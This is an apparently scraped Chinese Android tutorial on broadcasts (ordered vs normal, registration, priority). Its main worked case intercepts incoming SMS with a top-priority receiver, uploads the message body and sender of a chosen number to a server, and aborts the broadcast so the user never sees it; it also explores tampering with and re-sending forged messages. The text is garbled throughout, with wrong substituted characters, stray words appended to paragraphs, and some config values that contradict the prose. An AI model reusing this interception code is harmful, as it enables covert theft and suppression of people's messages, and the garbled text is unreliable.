Android中的广播Broadcast详解

时间 2019-11-12

标签 android 广播 broadcast 详解栏目 Android 繁體版

原文原文链接

今天来看一下Android中的广播机制，咱们知道广播Broadcast是Android中的四大组件之一，可见他的重要性了，固然它的用途也很大的，好比一些系统的广播：电量低、开机、锁屏等一些操做都会发送一个广播，具体的Android系统中的广播能够参见个人另一篇博客:http://blog.csdn.net/jiangwei0910410003/article/details/17218985.java

下面就来详细讲解一下广播机制：android

广播被分为两种不一样的类型：“普通广播（Normal broadcasts）”和“有序广播（Ordered broadcasts）”。普通广播是彻底异步的，能够在同一时刻（逻辑上）被全部广播接收者接收到，消息传递的效率比较高，但缺点是：接收者不能将处理结果传递给下一个接收者，而且没法终止广播Intent的传播；然而有序广播是按照接收者声明的优先级别（声明在intent-filter元素的android:priority属性中，数越大优先级别越高,取值范围:-1000到1000。也能够调用IntentFilter对象的setPriority()进行设置），被接收者依次接收广播。如：A的级别高于B,B的级别高于C,那么，广播先传给A，再传给B，最后传给C。A获得广播后，能够往广播里存入数据，当广播传给B时,B能够从广播中获得A存入的数据。服务器

Context.sendBroadcast()app

发送的是普通广播，全部订阅者都有机会得到并进行处理。异步

Context.sendOrderedBroadcast()ide

发送的是有序广播，系统会根据接收者声明的优先级别按顺序逐个执行接收者，前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast())，若是广播被前面的接收者终止，后面的接收者就再也没法获取到广播。对于有序广播，前面的接收者能够将处理结果存放进广播Intent，而后传给下一个接收者。测试

广播接收者（BroadcastReceiver）用于接收广播Intent，广播Intent的发送是经过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。一般一个广播Intent能够被订阅了此Intent的多个广播接收者所接收，这个特性跟JMS中的Topic消息接收者相似。要实现一个广播接收者方法以下：ui

第一步：定义广播接收者，继承BroadcastReceiver，并重写onReceive()方法。编码

public class IncomingSMSReceiver extendsBroadcastReceiver {  
  @Override public void onReceive(Contextcontext, Intentintent) {  
  }  
}

第二步：订阅感兴趣的广播Intent，订阅方法有两种：url

第一种：使用代码进行订阅(动态订阅)

IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");  
IncomingSMSReceiver receiver = newIncomingSMSReceiver();  
registerReceiver(receiver, filter);

第二种：在AndroidManifest.xml文件中的<application>节点里进行订阅(静态订阅)

<receiver android:name=".IncomingSMSReceiver">  
   <intent-filter>  
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
   </intent-filter>  
</receiver>

下面看一下动态广播订阅和静态广播订阅的却别：

静态订阅广播又叫：常驻型广播，当你的应用程序关闭了，若是有广播信息来，你写的广播接收器一样的能接受到，他的注册方式就是在你的应用程序中的AndroidManifast.xml进行订阅的。

动态订阅广播又叫：很是驻型广播，当应用程序结束了，广播天然就没有了，好比你在activity中的onCreate或者onResume中订阅广播，同时你必须在onDestory或者onPause中取消广播订阅。否则会报异常，这样你的广播接收器就一个很是驻型的了。

这里面还有一个细节那就是这两种订阅方式，在发送广播的时候须要注意的是：动态注册的时候使用的是隐式intent方式的，因此在发送广播的时候须要使用隐式Intent去发送，否则是广播接收者是接收不到广播的，这一点要注意。可是静态订阅的时候，由于在AndroidMainfest.xml中订阅的，因此在发送广播的时候使用显示Intent和隐式Intent均可以(固然这个只针对于咱们本身定义的广播接收者)，因此以防万一，咱们通常都采用隐式Intent去发送广播。

下面看一下例子：

看一下项目结构：

看一下静态订阅广播:

package com.broadcast.demo;  
  
import android.app.Activity;  
import android.content.Intent;  
import android.os.Bundle;  
import android.view.View;  
import android.view.View.OnClickListener;  
import android.widget.Button;  
  
import com.example.androidbroadcastdemo.R;  
  
/** 
 * 静态订阅广播 
 * @author weijiang204321 
 * 
 */  
public class StaticRegisterBroadcastActivity extends Activity {  
  
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.activity_main);  
        Button btn = (Button)findViewById(R.id.btn);  
          
        btn.setOnClickListener(new OnClickListener(){  
            @Override  
            public void onClick(View v) {  
                //使用静态的方式注册广播，可使用显示意图进行发送广播  
                Intent broadcast = new Intent("com.broadcast.set.broadcast");  
                sendBroadcast(broadcast,null);  
            }  
              
        });  
    }  
      
}

在AndroidMainfest.xml中订阅:

<?xml version="1.0" encoding="utf-8"?>  
<manifest xmlns:android="http://schemas.android.com/apk/res/android"  
    package="com.example.androidbroadcastdemo"  
    android:versionCode="1"  
    android:versionName="1.0" >  
  
    <uses-sdk  
        android:minSdkVersion="8"  
        android:targetSdkVersion="18" />  
      
    <!-- 权限 -->  
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>  
    <uses-permission android:name="android.permission.INTERNET"/>  
    <uses-permission android:name="android.permission.SEND_SMS"/>  
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />  
  
    <application  
        android:allowBackup="true"  
        android:icon="@drawable/ic_launcher"  
        android:label="@string/app_name"  
        android:theme="@style/AppTheme" >  
        <activity  
            android:name="com.broadcast.demo.StaticRegisterBroadcastActivity"  
            android:label="@string/app_name" >  
            <intent-filter>  
                <action android:name="android.intent.action.MAIN" />  
                <category android:name="android.intent.category.LAUNCHER" />  
            </intent-filter>  
        </activity>  
          
        <!-- 无序广播注册START  -->  
        <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">  
            <intent-filter >  
                <action android:name="com.broadcast.demo.mybroadcast"/>  
            </intent-filter>  
        </receiver>  
        <!-- 无序广播注册END -->  
          
        <!-- 有序广播的注册START -->  
        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">  
            <intent-filter android:priority="999">  
                <action android:name="com.broadcast.set.broadcast"/>  
            </intent-filter>  
        </receiver>  
          
        <!-- 接收短信广播 -->  
        <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">  
            <intent-filter android:priority="1000">  
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
            </intent-filter>  
        </receiver>  
        <!-- 有序广播的注册END -->  
          
        <!-- 上传短信内容的Service -->  
        <service android:name="com.broadcast.service.UploadSMSService">  
            <intent-filter >  
                <action android:name="com.broadcast.service.uploadsmsservice"/>  
            </intent-filter>  
        </service>  
          
    </application>  
  
</manifest>

先不要管其余的内容了，后面会讲到，这里只关注静态广播的注册

<!-- 无序广播注册START  -->  
       <receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">  
            <intent-filter >  
                <action android:name="com.broadcast.demo.mybroadcast"/>  
            </intent-filter>  
        </receiver>  
<!-- 无序广播注册END -->

下面来看一下广播的接收者:

package com.broadcast.receiver;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.util.Log;  
  
/** 
 * 广播接收者 
 * @author weijiang204321 
 * 
 */  
public class UnSortBroadcastReceiver extends BroadcastReceiver {  
  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Log.e("Intent_Action:",intent.getAction()+"");  
    }  
}

在广播接收者中的onReceive方法中的逻辑很简单，就是打印Action的内容。

运行程序，结果很简单，这里就不上图片了。

下面来看一下动态订阅：

package com.broadcast.demo;  
  
import android.app.Activity;  
import android.content.Intent;  
import android.content.IntentFilter;  
import android.os.Bundle;  
import android.view.View;  
import android.view.View.OnClickListener;  
import android.widget.Button;  
  
import com.broadcast.receiver.UnSortBroadcastReceiver;  
import com.example.androidbroadcastdemo.R;  
  
/** 
 * 使用动态的方式注册广播 
 * @author weijiang204321 
 * 
 */  
public class DynamicRegisterBroadcastActivity extends Activity {  
      
    public static final String NEW_LIFEFORM_DETECTED = "com.dxz.broadcasttest.NEW_LIFEFORM";  
    protected  UnSortBroadcastReceiver receiver;  
      
    @Override  
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.activity_main);  
        Button btn0 = (Button) findViewById(R.id.btn);  
        btn0.setOnClickListener(new OnClickListener() {  
            public void onClick(View v) {  
                //发送广播  
                Intent it = new Intent(NEW_LIFEFORM_DETECTED);  
                sendBroadcast(it);  
            }  
        });  
    }  
  
    @Override  
    protected void onResume() {  
        super.onResume();  
        //注册广播  
        IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED);  
        receiver = new UnSortBroadcastReceiver();  
        registerReceiver(receiver, counterActionFilter);  
    }  
  
    @Override  
    protected void onPause() {  
        super.onPause();  
        //取消广播  
        unregisterReceiver(receiver);  
    }  
}

这里咱们是在onResume中进行订阅广播，在onPause中取消订阅广播。

AndroidMainfest.xml中将启动的Activity改为DynamicRegisterBroadcastActivity，其余的内容不须要修改，运行程序，打印结果很简单，这里就不上图了。

下面来看一下有序广播和无序广播

这个咱们在开始的时候已经说到了，下面来看一下无序广播:

首先咱们定义两个广播接收者:

第一个广播接收者:

package com.broadcast.receiver;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.util.Log;  
  
/** 
 * 广播接收者A 
 * @author weijiang204321 
 * 
 */  
public class SortBroadcastReceiverA extends BroadcastReceiver{  
  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Log.e("Demo:","广播接收者A");  
    }  
  
}

第二个广播接收者:

package com.broadcast.receiver;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.util.Log;  
  
/** 
 * 广播接收者B 
 * @author weijiang204321 
 * 
 */  
public class SortBroadcastReceiverB extends BroadcastReceiver{  
  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Log.e("Demo:","广播B");  
    }       
}

在AndroidMainfest.xml中订阅广播

 <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">  
            <intent-filter android:priority="999">  
                <action android:name="com.broadcast.set.broadcast"/>  
            </intent-filter>  
</receiver>  
          
<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">  
            <intent-filter android:priority="1000">  
                <action android:name="com.broadcast.set.broadcast"/>  
            </intent-filter>  
</receiver>

运行结果:

运行结果有点奇怪，为何是接收者B在前面，接收者A在后面，缘由就是咱们在AndroidMainfest.xml中订阅广播的时候在intent-filter设置了android:priority属性值，值越大优先级越高，接收者B的优先级是1000，接收者A的优先级是999,因此是B先接收到广播，而后A才接收到，可是接收者B和接收者A之间没有联系，也不能有交互的，由于是这是无序广播，是异步的，咱们能够作个试验就是在B中的onReceiver方法中添加代码：

abortBroadcast();//终止这次广播的传输

运行结果：

咱们能够看到提示错误，就是non-ordered broadcast无序广播不容许终止广播，其实终止也没有用，由于接收者A仍是接收到广播了。

下面来看一下有序广播，代码须要作一下修改：

首先是在发送广播的时候:

Intent broadcast = new Intent("com.broadcast.set.broadcast");
sendOrderedBroadcast(broadcast,null);

而后在B接收者中的添加终止广播的方法:

abortBroadcast();

其余的代码不须要修改，运行结果：

只有B接收者了，A接收者没有接收到广播了，由于在B接收者中将广播给终止了，后面的接收者都接受不到了。

下面在修改一下代码：

接收者B：

package com.broadcast.receiver;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.os.Bundle;  
import android.util.Log;  
  
/** 
 * 广播接收者B 
 * @author weijiang204321 
 * 
 */  
public class SortBroadcastReceiverB extends BroadcastReceiver{  
  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Log.e("Demo:","广播接收者B");  
        Bundle bundle = new Bundle();  
        bundle.putString("next_receiver", "下一个广播接收者");  
        setResultExtras(bundle);  
    }  
      
}

B接收到广播后，存入一些值，传给下一个接收者。

接收者A的代码：

package com.broadcast.receiver;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.os.Bundle;  
import android.util.Log;  
  
/** 
 * 广播接收者A 
 * @author weijiang204321 
 * 
 */  
public class SortBroadcastReceiverA extends BroadcastReceiver{  
  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        Log.e("Demo:","广播接收者A");  
        Bundle bundle = getResultExtras(true);  
        String content = bundle.getString("next_receiver");  
        Log.e("Demo:",content+"");  
          
    }  
  
}

运行结果以下：

接收者A收到了上一个接收者B传递的信息，这个信息能够保留到后面的全部接收者，直到广播终止。

上面讲到的就是有序广播的特色，能够看出是一个同步的动做，接收者之间能够进行数据的交互(上一个传递数据给下一个)，也能够控制广播的终止。

下面来作一个案例就是网上不少人弄过的：短信拦截

系统在收到短信的时候，会发送一个：android.provider.Telephony.SMS_RECEIVED这样的广播，并且这是一个有序的广播，因此咱们就能够拦截了这条短信，由于系统中的短信接收者的订阅优先级不是1000最高的，因此咱们能够本身定义一个短信接收者，将订阅优先级设置成1000，这样咱们就能够最早获取到短信内容，而后将截取到知道号码的短信内容上传到服务器上进行保存，而后终止广播。让系统接收不到这条短信。

这里面咱们还须要了解的技术就是短信内容的获取，这个咱们在代码中解释：

下面来看一下咱们定义的短信接收者:

package com.broadcast.receiver;  
  
import java.text.SimpleDateFormat;  
import java.util.Date;  
import android.annotation.SuppressLint;  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.telephony.SmsMessage;  
import android.util.Log;  
import com.broadcast.service.UploadSMSService;  
  
/** 
 * 广播接收者A 
 * @author weijiang204321 
 * 
 */  
public class SortBroadcastReceiverA extends BroadcastReceiver{  
  
    @SuppressLint("SimpleDateFormat")  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        //获取短信的相关信息,使用字段pdus  
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");  
        StringBuilder content = new StringBuilder();  
        String receiveTime = "";  
        String senderNumber = "";  
        for(Object p : pdus){  
            byte[] pdu = (byte[]) p;  
            SmsMessage message = SmsMessage.createFromPdu(pdu);  
            content.append(message.getMessageBody());  
            Date date = new Date(message.getTimestampMillis());  
            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
            receiveTime = format.format(date);  
            senderNumber = message.getOriginatingAddress();  
        }  
          
        Log.e("Demo:","上传短信内容是:"+content.toString());  
        Log.e("Demo:","接收短信的时间是"+receiveTime);  
        Log.e("Demo:","发送短信的号码是:"+senderNumber);  
          
        //拦截的号码是:18910958627,注意前面还有+86是中国地区的编号  
        if("+8618910958627".equals(senderNumber)){  
            //拦截成功 ,上传信息  
            Intent service = new Intent(context,UploadSMSService.class);  
            service.putExtra("content", content.toString());  
            service.putExtra("receiveTime",receiveTime);  
            service.putExtra("senderNumber", senderNumber);  
            context.startService(service);  
        }  
          
    }  
  
}

在onReceive方法中咱们经过intent中的Bundle获取短信的相关信息。

下面在看一下上传短信信息的服务Service:

package com.broadcast.service;  
  
import java.net.HttpURLConnection;  
import java.net.URL;  
import java.net.URLEncoder;  
  
import android.app.Service;  
import android.content.Intent;  
import android.os.IBinder;  
  
/** 
 * 上传短信内容的service 
 * @author weijiang204321 
 * 
 */  
public class UploadSMSService extends Service{  
  
    @Override  
    public IBinder onBind(Intent intent) {  
        return null;  
    }  
  
    @Override  
    public int onStartCommand(Intent intent, int flags, int startId) {  
        //获取短信内容和接收时间，发送者的号码  
        final String content = intent.getStringExtra("content");  
        final String receiveTime = intent.getStringExtra("receiveTime");  
        final String senderNumber = intent.getStringExtra("senderNumber");  
          
        new Thread(){  
            @Override  
            public void run(){  
                sendSMS(content,receiveTime,senderNumber);  
                //上传完成以后就结束service  
                stopSelf();  
            }  
        }.start();  
          
        return super.onStartCommand(intent, flags, startId);  
    }  
      
    /** 
     * 上传短信内容 
     * @param content 
     * @param receiveTime 
     * @param senderNumber 
     * @return 
     */  
    private boolean sendSMS(String content, String receiveTime, String senderNumber) {  
        try{  
            String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;  
            byte[] entity = params.getBytes();  
            String path = "http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet";  
            HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();  
            conn.setConnectTimeout(5000);  
            conn.setRequestMethod("POST");  
            conn.setDoOutput(true);  
            conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");  
            conn.setRequestProperty("Content-Length", String.valueOf(entity.length));  
            conn.getOutputStream().write(entity);  
            if(conn.getResponseCode() == 200){  
                return true;  
            }  
        }catch (Exception e) {  
            e.printStackTrace();  
        }  
        return false;  
    }  
  
  
}

这个服务的逻辑也很简单的，在获取到短信信息的时候，将内容进行上传。

最后不能忘了在AndroidMainfest.xml中添加权限:

<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>

订阅短信广播:

<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

固然这里还须要有一个短信内容的接收服务端,在服务端定义一个Servlet来接受数据，具体的服务端的环境搭建，本身上网搜索相关资料进行搭建:

package com.servlet.receivesms;  
  
import java.io.IOException;  
  
import javax.servlet.ServletException;  
import javax.servlet.http.HttpServlet;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
  
public class ReceiveSMSServlet extends HttpServlet{  
  
    private static final long serialVersionUID = 1L;  
  
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {  
        req.setCharacterEncoding("utf-8");  
        String content = req.getParameter("content");  
        String receiveTime = req.getParameter("receivetime");  
        String phoneNumber = req.getParameter("sendernumber");  
        System.out.println("发送内容:"+content);  
        System.out.println("发送时间:"+receiveTime);  
        System.out.println("发送号码:"+phoneNumber);  
        super.doGet(req, resp);  
    }  
  
    @Override  
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {  
        super.doPost(req, resp);  
    }  
  
}

测试结果，客户端拦截的号码是18910958627，注意前面有+86是中国区域的编码，服务端接收数据为:

这样就表示截取短信内容成功，而且成功上传到服务器上了。

对于上面的短信拦截的功能还有待增强，就是如今想把短信的内容拦截下来，进行篡改，而后再发给下一个接收者?

方案一:在咱们定义的短信广播接收者中，咱们可以从intent中的Bundle中经过key="pdus"来获取短信内容的，那么咱们能够本身重新组建一个新的Bundle，在这个Bundle中存入咱们篡改的信息，而后替换以前的Bundle

问题:实施了，可是问题是Bundle是替换不了的，不知道是什么缘由？

方案二:因为第一种方案的失败，致使了我重新想到一个方案就是截取短信内容以后，终止这次广播，而后发送一条短信，这时候短信的内容为咱们篡改的内容，可是这里须要注意的是，要作判断，由于咱们定义的短信接收者的优先级最高，因此咱们发送篡改后的短信又被咱们的短信接收者给拦截了，可是咱们是不想这样的，因此要作个判断，这个很简单的，使用SharePerenced存入一个boolean值就好了。

问题:原本觉得这种方案是完美了，可是问题是发送信息的时候，系统提供的方法中的参数是：接收者号码,发送者号码,短信内容,还有其余的参数就不解释了，这很简单呀，咱们如今正好须要这三个参数，立马传递进去，结果是收取不到短信，查看文档，发现那个发送者号码的参数是短信服务中心的号码(也不知道什么意思)，当把它设置成null的时候短信就能够发出去了，可是设置成null的话，就不能说是谁发的短信了没有意义呀！

如今很纠结，问题尚未解决，若是有哪位大神有好的方法，请说明，小弟不慎感激！

总结:

在Android中，程序的响应（Responsive）被活动管理器（ActivityManager）和窗口管理器（Window Manager）这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕，Android会认为该程序无响应。因此在BroadcastReceiver里不能作一些比较耗时的操做，否侧会弹出ANR（Application No Response）的对话框。若是须要完成一项比较耗时的工做，应该经过发送Intent给Service，由Service来完成。而不是使用子线程的方法来解决，由于BroadcastReceiver的生命周期很短（在onReceive()执行后BroadcastReceiver 的实例就会被销毁），子线程可能尚未结束BroadcastReceiver就先结束了。若是BroadcastReceiver结束了，它的宿主进程还在运行，那么子线程还会继续执行。但宿主进程此时很容易在系统须要内存时被优先杀死，由于它属于空进程（没有任何活动组件的进程）。

public class IncomingSMSReceiver extendsBroadcastReceiver {  
  @Override public void onReceive(Contextcontext, Intentintent) {  
            //发送Intent启动服务，由服务来完成比较耗时的操做  
            Intent service =new Intent(context,XxxService.class);  
            context.startService(service);  
  }  
}

每次广播消息到来时都会建立BroadcastReceiver实例并执行onReceive() 方法。

因此上面的短信内容上传到服务器上的逻辑功能不能在广播中执行，须要开启一个服务进行上传。

1. Android-Broadcast(广播)
2. Broadcast 广播
3. 广播 (Broadcast)
4. python broadcast广播
5. 广播法则(broadcast)
6. Angularjs中的事件广播 —$broadcast,$emit,$on
7. spark中的广播变量broadcast
8. Flink中的Broadcast广播变量
9. android面试（4）-Broadcast广播篇
10. 《Android深刻透析》之广播(Broadcast)
更多相关文章...
• 免费ARP详解 - TCP/IP教程
• ARP协议的工作机制详解 - TCP/IP教程
• Scala 中文乱码解决
• Flink 数据传输及反压详解